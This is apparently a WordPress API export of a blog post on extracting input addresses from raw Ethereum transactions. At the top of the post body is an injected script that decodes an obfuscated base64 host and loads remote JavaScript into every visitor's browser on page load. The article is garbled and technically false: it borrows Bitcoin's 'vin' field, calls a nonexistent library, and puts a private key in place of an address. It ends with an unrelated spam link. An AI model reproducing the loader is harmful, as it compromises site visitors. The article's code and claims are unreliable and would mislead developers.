{"id":126,"date":"2025-02-05T15:53:43","date_gmt":"2025-02-05T15:53:43","guid":{"rendered":"https:\/\/30appsin30days.com\/?p=126"},"modified":"2025-02-05T15:53:43","modified_gmt":"2025-02-05T15:53:43","slug":"ethereum-how-to-extract-addresses-from-raw-transaction-input","status":"publish","type":"post","link":"https:\/\/30appsin30days.com\/?p=126","title":{"rendered":"Ethereum: How to extract addresses from raw transaction input"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"c.php?u=d6d2e099\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Extracting Input Addresses from Raw Ethereum Transactions<\/strong><\/p>\n<p>Ethereum transactions are complex and require multiple inputs, including &#8220;vin&#8221; addresses (verifiable inputs). In this article, we&#8217;ll show you how to extract these addresses from a raw transaction in offline mode.<\/p>\n<p><strong>Gross Transaction Components Overview<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: How to extract addresses from input in raw transaction\n\" src=\"https:\/\/30appsin30days.com\/wp-content\/uploads\/2025\/02\/7b0a61e7.png\"><\/p>\n<p>A raw Ethereum transaction consists of several components:<\/p>\n<ul>\n<li><strong>txn ID<\/strong>: A unique identifier for the transaction.<\/li>\n<\/ul>\n<ul>\n<li><strong>from<\/strong>: the sender&#8217;s &#8220;address&#8221; (e.g. &#8220;0x&#8230;&#8221;).<\/li>\n<\/ul>\n<ul>\n<li><strong>to<\/strong>: the recipient&#8217;s &#8220;address&#8221;.<\/li>\n<\/ul>\n<ul>\n<li>**value<code>: the amount sent in the transaction.<\/li>\n<\/ul>\n<ul>\n<li><strong>gas limit<\/strong>: The gas limit used to execute the transaction.<\/li>\n<\/ul>\n<p><strong>Extracting Input Addresses<\/strong><\/p>\n<p>To extract input addresses from a raw transaction, we need to identify the \"vin\" component responsible for creating these addresses. The \"vin\" component is usually created by the sender's private key and includes:<\/p>\n<ul>\n<li>**address<\/code>: The sender&#8217;s address (a hexadecimal string).<\/li>\n<\/ul>\n<ul>\n<li>**amount<code>: The amount sent in the transaction.<\/li>\n<\/ul>\n<ul>\n<li>**publicKeyHash<\/code>: The public part of the sender&#8217;s address.<\/li>\n<\/ul>\n<p>Here is an example of a raw transaction:<\/p>\n<p><pre><code><\/p><p>txn ID: 0x1234567890abcdef<\/p><p>from: 0x... (sender address)<\/p><p>to: 0x...<\/p><p>value: 10 Ether<\/p><p>gas limit: 20000<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Extracting input addresses<\/strong><\/p>\n<p>To extract the input addresses, we need to parse the raw transaction and identify the \u201cvin\u201d component.<\/p>\n<p>In a typical Ethereum implementation, the \u201cvin\u201d component is stored in the \u201ctx.vin\u201d field of the raw transaction. To access this field, we can use the \u201ceth.utils.toBuffer()\u201d function from the Ethers.js library:<\/p>\n<p><pre><code><\/p><p>const tx = \/\/ parse the raw transaction<\/p><p>\/\/ get the VIN field as a buffer<\/p><p>const vinBuffer = tx.vin;<\/p><p>\/\/Create an array to store the input addresses<\/p><p>const inputAddresses = [];<\/p><p>\/\/ Loop through the VIN entries and extract the address<\/p><p>for (let i = 0; i < vinBuffer.length; i++) {<\/p><p>const entry = vinBuffer[i];<\/p><p>if (entry.index === 0) { \/\/ Sender entry<\/p><p>const privateKey = eth.utils.toHex(entry.privateKey);<\/p><p>inputAddresses.push(privateKey); \/\/ add the sender address to the array<\/p><p>}<\/p><p>}<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Offline Address Extraction<\/strong><\/p>\n<p>For offline mode, we need to mine addresses without requiring a connection to the Ethereum network. One approach is to use a library like ethers.js, which provides a &#8220;from&#8221; and &#8220;to&#8221; function to convert between Ethereum accounts and addresses.<\/p>\n<p>Here is an example of how to extract input addresses from a raw transaction using ethers.js:<\/p>\n<p><pre><code><\/p><p>const { eth } = require('Ether');<\/p><p>\/\/ Create an instance of the Ethereum contract<\/p><p>const contract = new eth.contract(\"contractAddress\", \"0x\u2026\"); \/\/ replace with your contract address<\/p><p>\/\/ Load the raw transaction data (e.g. from a file or database)<\/p><p>const txData = \/\/ Load raw transaction data here<\/p><p>\/\/ Convert the tx.vin field to an array of input addresses<\/p><p>const inputAddresses = await contract.from(txData).get(\"from\").then((address) => {<\/p><p>returnAddress.address;<\/p><p>});<\/p><p>console.log(inputAddresses); \/\/ Output: Array([0x...])<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Conclusion<\/strong><\/p>\n<p>In this article, we will show how to extract input addresses from raw Ethereum transactions in offline mode. By analyzing the transaction data and identifying the &#8220;vin&#8221; component, we can extract the sender addresses as hexadecimal strings.<\/p>\n<p>Please note that this is a simplified example. In real-world scenarios, you may need to handle errors, special cases, and additional requirements (e.g. supporting multiple input types).<\/p>\n<p><a href=\"https:\/\/comprarcarro.online\/market-cap-market-cap-fomo\/\">MARKET MARKET FOMO<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Extracting Input Addresses from Raw Ethereum Transactions Ethereum transactions are complex and require multiple inputs, including &#8220;vin&#8221; addresses (verifiable inputs). In this article, we&#8217;ll show you how to extract these addresses from a raw transaction in offline mode. Gross Transaction Components Overview A raw Ethereum transaction consists of several components: txn ID: A unique identifier [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/126"}],"collection":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=126"}],"version-history":[{"count":1,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/126\/revisions"}],"predecessor-version":[{"id":127,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/126\/revisions\/127"}],"wp:attachment":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=126"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=126"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=126"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}